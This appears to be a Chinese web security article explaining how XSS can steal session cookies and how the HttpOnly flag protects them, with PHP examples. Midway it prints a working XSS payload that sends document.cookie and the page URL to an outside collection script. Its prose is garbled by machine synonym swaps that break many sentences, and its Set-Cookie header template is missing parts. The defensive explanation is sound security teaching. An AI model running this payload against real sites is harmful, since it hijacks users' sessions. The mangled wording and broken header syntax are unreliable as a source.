跟著www處事的鼓起,越來(lái)越多的應(yīng)用措施轉(zhuǎn)向了B/S布局,這樣只需要一個(gè)欣賞器就可以會(huì)見(jiàn)各類百般的web處事,可是這樣也越來(lái)越導(dǎo)致了越來(lái)越多的web安詳問(wèn)題。www處事依賴于Http協(xié)議實(shí)現(xiàn),Http是無(wú)狀態(tài)的協(xié)議,所覺(jué)得了在各個(gè)會(huì)話之間通報(bào)信息,就不行制止地用到Cookie可能Session等技能來(lái)標(biāo)志會(huì)見(jiàn)者的狀態(tài),而無(wú)論是Cookie照舊Session,一般都是操作Cookie來(lái)實(shí)現(xiàn)的(Session其實(shí)是在欣賞器的Cookie里帶了一個(gè)Token來(lái)標(biāo)志,處事器取得了這個(gè)Token而且查抄正當(dāng)性之后就把處事器上存儲(chǔ)的對(duì)應(yīng)的狀態(tài)和欣賞器綁定),這樣就不行制止地安詳聚焦到了Cookie上面,只要得到這個(gè)Cookie,就可以取得別人的身份,這對(duì)付入侵者是一件很美好的工作,出格當(dāng)?shù)玫降腃ookie屬于打點(diǎn)員等高權(quán)限身份者時(shí),危害就更大了。在各類web安詳問(wèn)題里,個(gè)中xss裂痕就因此顯得分外危險(xiǎn)。
對(duì)付應(yīng)用措施來(lái)說(shuō),一旦存在了xss裂痕就意味著別人可以在你的欣賞器中執(zhí)行任意的js劇本,假如應(yīng)用措施是開(kāi)源的可能成果是果真的話,別人就可以操作ajax利用這些成果,可是進(jìn)程往往很啰嗦,出格是想直接得到別人身份做隨意欣賞的話堅(jiān)苦就更大。而對(duì)付不開(kāi)源的應(yīng)用措施,譬如某些大型站點(diǎn)的web靠山(web2.0一個(gè)顯著的特征就是大量的交互,用戶往往需要跟靠山的打點(diǎn)員交互,譬如Bug講述,可能信息投遞等等),盡量因?yàn)榻换サ拇嬖诖蟾糯嬖诳缯緞”玖押郏墒且驗(yàn)閷?duì)靠山的不相識(shí),無(wú)法結(jié)構(gòu)完美的ajax代碼來(lái)操作,縱然可以用js取得靠山的代碼并回傳闡明,可是進(jìn)程同樣啰嗦并且不隱蔽。這個(gè)時(shí)候,操作xss裂痕得到Cookie可能Session挾制就很有效了,詳細(xì)闡明應(yīng)用措施的認(rèn)證,然后利用某些能力,甚至可以縱然對(duì)方退出措施也一樣永久性得到對(duì)方的身份。
那么如何得到Cookie可能Session挾制呢?在欣賞器中的document工具中,就儲(chǔ)存了Cookie的信息,而操作js可以把這內(nèi)里的Cookie給取出來(lái),只要獲得這個(gè)Cookie就可以擁有別人的身份了。一個(gè)很典范的xss進(jìn)攻語(yǔ)句如下:
xss exp:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src=’http://www.loveshell.net/c.php?c=’+cookie+’&u=’+url;
一些應(yīng)用措施思量到這個(gè)問(wèn)題地址,所以大概會(huì)采納欣賞器綁定技能,譬如將Cookie和欣賞器的User-agent綁定,一旦發(fā)明修改就認(rèn)為Cookie失效。這種要領(lǐng)已經(jīng)證明是無(wú)效的,因?yàn)楫?dāng)入侵者偷得Cookie的同時(shí)他必定已經(jīng)同時(shí)得到了User-agent。尚有別的一種較量嚴(yán)格的是將Cookie和Remote-addr相綁定(其實(shí)就是和IP綁定,可是一些措施取得IP的要領(lǐng)有問(wèn)題一樣導(dǎo)致饒過(guò)),可是這樣就帶來(lái)很差的用戶體驗(yàn),改換IP是常常的事,譬如上班與家里就是2個(gè)IP,所以這種要領(lǐng)往往也不給以回收。所以基于Cookie的進(jìn)攻方法此刻就很是風(fēng)行,在一些web 2.0站點(diǎn)很容易就取到應(yīng)用措施的打點(diǎn)員身份。
如何保障我們的敏感Cookie安詳呢?通過(guò)上面的闡明,一般的Cookie都是從document工具中得到的,我們只要讓敏感Cookies欣賞器document中不行見(jiàn)就行了。很幸運(yùn),此刻欣賞器在配置Cookie的時(shí)候一般都接管一個(gè)叫做HttpOnly的參數(shù),跟domain等其他參數(shù)一樣,一旦這個(gè)HttpOnly被配置,你在欣賞器的document工具中就看不到Cookie了,而欣賞器在欣賞的時(shí)候不受任何影響,因?yàn)镃ookie會(huì)被放在欣賞器頭中發(fā)送出去(包羅ajax的時(shí)候),應(yīng)用措施也一般不會(huì)在js里操縱這些敏感Cookie的,對(duì)付一些敏感的Cookie我們回收HttpOnly,對(duì)付一些需要在應(yīng)用措施頂用js操縱的cookie我們就不予配置,這樣就保障了Cookie信息的安詳也擔(dān)保了應(yīng)用。關(guān)于HttpOnly說(shuō)明可以參照 http://msdn2.microsoft.com/en-us/library/ms533046.aspx。
給欣賞器配置Cookie的頭如下:
Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]
以php為例,,在php 5.2版本時(shí)就已經(jīng)在Setcookie函數(shù)插手了對(duì)HttpOnly的支持,譬如:
setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
就可以配置abc這個(gè)cookie,將其配置為HttpOnly,document將不行見(jiàn)這個(gè)Cookie。因?yàn)閟etcookie函數(shù)本質(zhì)就是個(gè)header,所以一樣可以利用header來(lái)配置HttpOnly。然后再利用document.cookie就可以看到已經(jīng)取不到這個(gè)Cookie了。我們用這種要領(lǐng)來(lái)掩護(hù)利譬喻Sessionid,如一些用于認(rèn)證的auth-cookie,就不消擔(dān)憂身份被人得到了,這對(duì)付一些靠山措施和webmail晉升安詳性的意義是重大的。再次利用上面的進(jìn)攻手法時(shí)可以看到,已經(jīng)不能獲取被我們配置為HttpOnly的敏感Cookie了。